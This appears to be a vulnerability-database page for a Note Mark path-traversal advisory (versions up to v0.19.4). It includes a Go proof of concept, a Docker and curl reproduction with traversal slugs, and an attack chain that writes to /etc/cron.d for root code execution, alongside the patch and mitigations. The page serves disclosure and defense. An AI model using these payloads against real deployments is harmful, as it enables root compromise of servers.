Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconRegister low-privilege Note Mark account
-
DeliveryPOST traversal slug to /api/books (unanchored regex accepts it)
-
ExploitSlug stored verbatim in database
-
InstallAdmin runs migrate export CLI as root
-
C2path.Join resolves ../.. segments outside export dir
-
ExecuteNote _index.md written to /etc/cron.d/backdoor
-
ImpactRoot code execution on next cron tick
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Exploitation requires three conditions: (1) a registered user account on the Note Mark instance with permission to create books or notes (PR:L - any standard registered account qualifies); (2) an administrator must subsequently execute |
| Impact | The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P scores 8.6) accurately captures the network delivery and low access complexity but captures UI:P for the required admin export step, which is the single most important limiting factor. Real-world risk is high specifically for deployments that run |
| Exploit ScenarioDerived | An attacker with a standard Note Mark user account sends |
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Alert meAnalysisAIv2 – Sep 04, 2026
Path traversal in Note Mark's migrate export CLI commands enables a low-privilege authenticated attacker to write files at arbitrary host filesystem locations outside the configured export directory, leading to root-level code execution in typical Docker deployments. The flaw exists in versions up to and including v0.19.4: book and note slugs are validated with huma's pattern:"[a-z0-9-]+" struct tag, but huma applies the regex unanchored via MatchString, so a traversal slug like ../../../../../../etc/cron.d/backdoor passes validation because it contains a matching substring. When an administrator later executes note-mark migrate export (commonly as root in Docker), the raw slug is passed directly into path.Join/os.MkdirAll/os.Create, resolving the traversal and writing attacker-controlled content outside the export root. No public exploitation is confirmed (not in CISA KEV); a self-contained Go proof-of-concept is included in the GHSA advisory and demonstrates both the validation bypass and out-of-bounds file write.
Earlier versions of this analysis (1)
Root-privileged arbitrary directory creation and file write affects Note Mark (self-hosted notes application) versions <= v0.19.4, arising because book and note slug validation uses the unanchored huma OpenAPI pattern '[a-z0-9-]+', letting a low-privilege authenticated user store a path-traversal slug such as '../../../../etc/cron.d/x'. When an administrator later runs the 'note-mark migrate export' or 'export-v1' CLI (routinely as root in Docker), the exporter joins the raw slug into the output path and writes '_index.md' outside the export directory, enabling escalation to code execution as root. Publicly available exploit code exists (a version-pinned Go reproducer plus an end-to-end Docker walkthrough); this is the unpatched sibling of GHSA-g49p-4qxj-88v3 and is not listed in CISA KEV.
RemediationAI
Upgrade to Note Mark v0.19.5, which patches GHSA-rqrh-8wpv-x7hh by anchoring slug and username validation patterns (^[a-z0-9-]+$ and ^[a-zA-Z0-9]+$ respectively) at the input layer and adding filepath.Base() defense-in-depth checks to both export functions, plus a regression test. The release is available at https://github.com/enchant97/note-mark/releases/tag/v0.19.5 and the patch commit is https://github.com/enchant97/note-mark/commit/67b7de04308a858ef27ceff87b514067b6d667e5. Organizations unable to upgrade immediately should restrict book and note creation to fully trusted accounts only, and suspend execution of note-mark migrate export and export-v1 until the patch is applied. Running the export process as a non-root user (e.g., via Docker --user flag) limits blast radius: traversal writes to privileged paths such as /etc/cron.d/ will fail due to permission denial, though traversal into attacker-accessible paths remains possible.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
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Technical ContextAI · show details
Note Mark is a self-hosted markdown note-taking application written in Go. The affected code spans two layers: input validation in backend/db/types.go using huma v2.37.3 OpenAPI struct tags, and the export sinks in backend/cli/migrate.go. The root cause is that Go's regexp.MatchString performs a substring search rather than a full-string match; without ^...$ anchors the pattern [a-z0-9-]+ accepts any string containing at least one alphanumeric or hyphen character, including ../ path traversal sequences. The sibling vulnerability GHSA-g49p-4qxj-88v3 (CWE-22) had already addressed asset.Name in the same export functions via filepath.Base(), but the adjacent book.Slug and note.Slug path components used in the identical path.Join calls were left unsanitized. The Go PURL is pkg:go/github.com_enchant97_note-mark_backend. CWE-20 (Improper Input Validation) is the filed classification; CWE-22 (Path Traversal) is the more precise technical label for the sink-level vulnerability.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Slug delivered via network API at low privilege; admin must run export CLI (UI:R); scope changes as file write escapes application to host filesystem enabling root RCE.
Primary rating from Vendor (https://github.com/enchant97/note-mark).
CVSS VectorVendor: https://github.com/enchant97/note-mark
Lifecycle Timeline
1DescriptionCVE.org
Summary
Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim.
The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.
This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added filepath.Base(asset.Name) to sanitize the asset filename, but the adjacent path components book.Slug and note.Slug - used in the very same path.Join calls in the same two export functions - were left raw, and their input-side pattern guard is bypassable as shown above.
Vulnerable code
Slug input validation (backend/db/types.go, v0.19.4):
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateNote struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
}huma applies the pattern UNANCHORED (github.com/danielgtaylor/huma/v2@v2.37.3):
// schema.go
if s.Pattern != "" {
s.patternRe = regexp.MustCompile(s.Pattern)// validate.go
if s.patternRe != nil {
if !s.patternRe.MatchString(str) {
res.Add(path, v, s.msgPattern)regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape") is true (it matches the tmp substring), so the traversal slug passes and BooksService.CreateBook / NotesService store it verbatim.
Export sinks (backend/cli/migrate.go, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:
// commandMigrateExportDataV1 / commandMigrateExportData
for _, book := range user.Books {
bookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw
for _, note := range book.Notes {
noteDir := path.Join(bookDir, note.Slug) // note.Slug raw
if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
return err
}
f, err := os.Create(path.Join(noteDir, "_index.md")) // escapes exportDir// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name)
continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))Impact
A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing slug. When an administrator later runs note-mark migrate export or export-v1 (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's _index.md to an arbitrary filesystem location outside the export directory. With root, this allows writing to /etc/cron.d/, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.
Attack scenario
- Attacker registers / uses any normal user account.
- Attacker
POST /api/books(or a note) withslug=../../../../../../etc/cron.d/x(passes the unanchored[a-z0-9-]+pattern). Stored verbatim. - Admin runs
note-mark migrate export-v1 --export-dir /data/backup(root). - Exporter does
path.Join("/data/backup", username, "../../../../../../etc/cron.d/x")which yields/etc/cron.d/x, thenos.MkdirAllcreates it andos.Create(path.Join(noteDir, "_index.md"))writes attacker-influenced content outside/data/backup.
Proof of concept
Self-contained Go reproducer pinning huma v2.37.3 (Note Mark's exact version) and Note Mark's exact CreateBook DTO + the exact export path.Join expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.
// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"os"
"path"
"strings"
"github.com/danielgtaylor/huma/v2"
"github.com/danielgtaylor/huma/v2/adapters/humago"
)
// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateBookInput struct{ Body CreateBook }
type CreateBookOutput struct {
Body struct {
Slug string `json:"slug"`
}
}
func main() {
mux := http.NewServeMux()
api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))
var stored string
huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},
func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {
stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim
out := &CreateBookOutput{}
out.Body.Slug = in.Body.Slug
return out, nil
})
const traversalSlug = `../../../../../../tmp/nmpoc-escape`
body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)
req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
mux.ServeHTTP(rec, req)
fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)
// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.
negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))
negReq.Header.Set("Content-Type", "application/json")
negRec := httptest.NewRecorder()
mux.ServeHTTP(negRec, negReq)
fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)
// Export sink expression from backend/cli/migrate.go:187,191,203.
exportDir := "/tmp/nmpoc-exportroot"
_ = os.RemoveAll(exportDir)
_ = os.RemoveAll("/tmp/nmpoc-escape")
_ = os.MkdirAll(exportDir, 0o755)
bookDir := path.Join(exportDir, "victim", stored)
noteDir := path.Join(bookDir, "n")
_ = os.MkdirAll(noteDir, 0o755)
outPath := path.Join(noteDir, "_index.md")
_ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644)
escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")
fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped)
if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil {
fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d)))
}
}Verbatim output (go run ., huma v2.37.3, go1.26.1):
[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT"The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export path.Join writes the note file outside the export root.
End-to-end reproduction
Against the released image ghcr.io/enchant97/note-mark-aio:0.19.4 (the GHSA-g49p fix release):
# 1. start
docker run -d --name nm -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" \
-e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4
# 2. register + login (capture Auth-Session-Token cookie)
curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Attack3r!","name":"a"}'
TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}' \
| sed -n 's/.*Auth-Session-Token=\([^;]*\).*/\1/p')
# 3. create a book with a traversing slug - passes the [a-z0-9-]+ pattern
curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \
-b "Auth-Session-Token=$TOKEN" \
-d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'
# response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)
# 4. add a note under that book (any valid note slug), then trigger admin export
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# 5. observe the note _index.md written outside /data/backup
docker exec nm ls -la /tmp/nmpoc-escape/The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).
Suggested fix
Apply filepath.Base() (the same idiom already used for asset.Name in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:
bookSlug := filepath.Base(book.Slug)
noteSlug := filepath.Base(note.Slug)
if bookSlug != book.Slug || noteSlug != note.Slug {
log.Printf("disallowed slug found, skipping book=%q note=%q\n", book.Slug, note.Slug)
continue
}
bookDir := path.Join(exportDir, user.Username, bookSlug)
noteDir := path.Join(bookDir, noteSlug)Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex pattern:"^[a-z0-9-]+$", or reject strings.ContainsAny(slug, "/\\.") in the create/update handlers (mirroring the PostNoteAsset header check added by GHSA-g49p). user.Username (pattern:"[a-zA-Z0-9]+") is also unanchored and should be anchored for the same reason.
Affected versions
<= v0.19.4 (current latest release). The slug components are used unsanitized in backend/cli/migrate.go at v0.19.4, the release that fixed the sibling asset.Name traversal (GHSA-g49p-4qxj-88v3).
Fix PR
A fix is prepared on the temporary private advisory fork: enchant97/note-mark-ghsa-rqrh-8wpv-x7hh PR #1. It anchors the slug/username pattern tags (^[a-z0-9-]+$ / ^[a-zA-Z0-9]+$) at the input layer and adds defense-in-depth filepath.Base() checks to both export functions, plus a regression test. go test ./backend/db/ passes with the fix and fails against the old unanchored pattern.
Credit
Reported by tonghuaroot.
Executive ViewAI
Note Mark versions up to v0.19.4 contain a path-traversal vulnerability in the migrate export CLI command that allows authenticated users to write arbitrary files to the host filesystem with root-level privileges in typical Docker deployments. Internal attackers with low-privilege access can exploit this flaw to achieve unauthorized system compromise and establish persistence in containerized environments.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
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View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-71618
GHSA-rqrh-8wpv-x7hh
NVD
CVE.org
EPSS
Exploit-DB